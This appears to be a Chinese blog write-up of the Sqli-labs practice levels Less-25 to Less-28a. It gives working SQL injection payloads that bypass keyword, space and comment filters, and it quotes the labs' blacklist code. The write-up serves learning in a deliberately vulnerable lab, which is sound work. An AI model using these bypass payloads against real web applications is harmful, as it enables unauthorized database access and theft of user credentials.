Sqli-labs Less25-Less28

Less_25

先按照以前的方法写一遍,这道题应该是把and 和 or 给过滤掉了

image-20240718165340741

后面的联合注入语句肯定受影响

新的知识点:用双写绕过

比如说我们可以在or的中间再加一个or这样过滤的时候直接把中间的or给过滤掉了,

oorr

但是还剩下一个or

and也是,直接在中间任意位置进行双写就行

aandnd

爆表名

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()--+

爆列名

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+

爆数据

?id=-1' union select 1,group_concat(id,username,passwoorrd),3 from security.users--+

Less_25a

将常见的命令进行构建

?id=1'
?id=1')
?id=1'))
?id=1"
?id=1")
?id=1"))

发现都报错了,判断是数字型注入

还是一个双写绕过

前面步骤和上一道题一样,爆出数据

?id=-1 union select 1,group_concat(username,passwoorrd),3 from security.users--+

Less_26

26题在过滤了and 和 or 的基础上,将空格和注释符也过滤掉了image-20240718170918641

image-20240718171107065

可以用双引号来闭合

?id=1''

其余被过滤掉的字符也可以找到对应的替换

可以使用 ”%a0“ 或 “%0b” 替代空格,使用 “||” 来替代 ”or“ 使用 ”%26%26“来替代 ”and“

然后用updatexml()报错注入

命令为:

嗷嗷,其实updatxml()报错注入中的空格不需要用url编码来绕过QAQ

?id=1'||updatexml(1,concat(0x5c,database(),0x5c),1)||'     爆数据库
?id=1'||updatexml(1,concat(0x5c,(select%0bgroup_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()),0x5c),1)||'                 爆表名
?id=1'||updatexml(1,concat(0x5c,(select%0bgroup_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema="security"%26%26table_name="users"),0x5c),1)||' 爆列名
?id=-1' || updatexml(1,concat(0x5c,(select(group_concat(concat(username,passwoorrd)))%0bfrom%0b(security.users)%0bwhere%0b(id = 1))),1)||'                                爆数据

Less_26a

判断注入类型

?id=1正常显示

?id=1'’正常显示

存在单引号注入,判断是否存在括号

?id=1')网页没有回显信息

?id=1') || (1'构造右半括号,发现页面正常显示,说明是单引号加上括号的闭合

因为没有报错信息,所以不能用updatexml()报错注入

?id=1')%a0oorrderby%a0BY%a03||('1
?id=-1')%a0union%a0select%a01,2,3%a0||('1
?id=-1')%a0union%a0select%a01,database(),3%a0||('1
?id=-1')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema = 'security'%a0||('1
?id=-1')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0aandnd%a0table_name='users'%a0||('1

Less_27

应该过滤了空格和注释符,and和or没有过滤掉,union 和select 也被过滤掉了

先判断是什么闭合,可以知道是单引号闭合

image-20240718185731451

可以这样来猜解

?id=1'%a0order%a0by%0a1||'1'='1

union和select语句失效

image-20240719100852417

查看一下源码,出现了黑名单()

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

然后用大小写来绕过,就像UNION写成UNion

爆出回显位:
?id=9999'%0aUNion%0aSElect%0a1,2,3%0aand%0a'1'='1
爆出数据库名:
?id=9999'%0aUNion%0aSElect%0a1,database(),3%0aand%0a'1'='1
爆出表名:
?id=9999'%0aUNion%0aSElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()and%0a'1'='1
爆出列名
?id=9999'%0aUNion%0aSElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name="users"and%0a'1'='1

Less_27a

判断其注入方式

输入?id=1"报错

输入?id=1""页面显示正常

说明是双引号注入

?id=9999"%0aUNion%0aSElect%0a1,2,3%0aand%0a"1"="1
?id=9999"%0aUNion%0aSElect%0a1,database(),3%0aand%0a"1"="1
?id=9999"%0aUNion%0aSElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()and%0a"1"="1
?id=9999"%0aUNion%0aSElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name="users"and%0a"1"="1

Less_28

判断注入方式

输入?id=1'报错

输入?id=1''页面显示正常

说明存在单引号注入

进一步测试闭合类型,使用单引号和括号闭合回显正常的信息,说明网页是使用单引号和括号进行闭合。

?id=1') OR ('1

查看源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

SELECT * FROM users WHERE id=(‘$id’ )LIMIT 0,1

1’) and (‘1’='1

SELECT * FROM users WHERE id=(‘1’) and (‘1’=‘1’ )LIMIT 0,1

?id=9999')%0aUNion%0aSElect%0a1,2,3%0aand%0a('1'='1
?id=9999')%0aUNion%0aSElect%0a1,database(),3%0aand%0a('1'='1
?id=9999')%0aUNion%0aSElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()and%0a('1'='1
?id=9999')%0aUNion%0aSElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name="users"and%0a('1'='1

Less_28a

根据检验还是单引号+括号闭合

  • 23
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值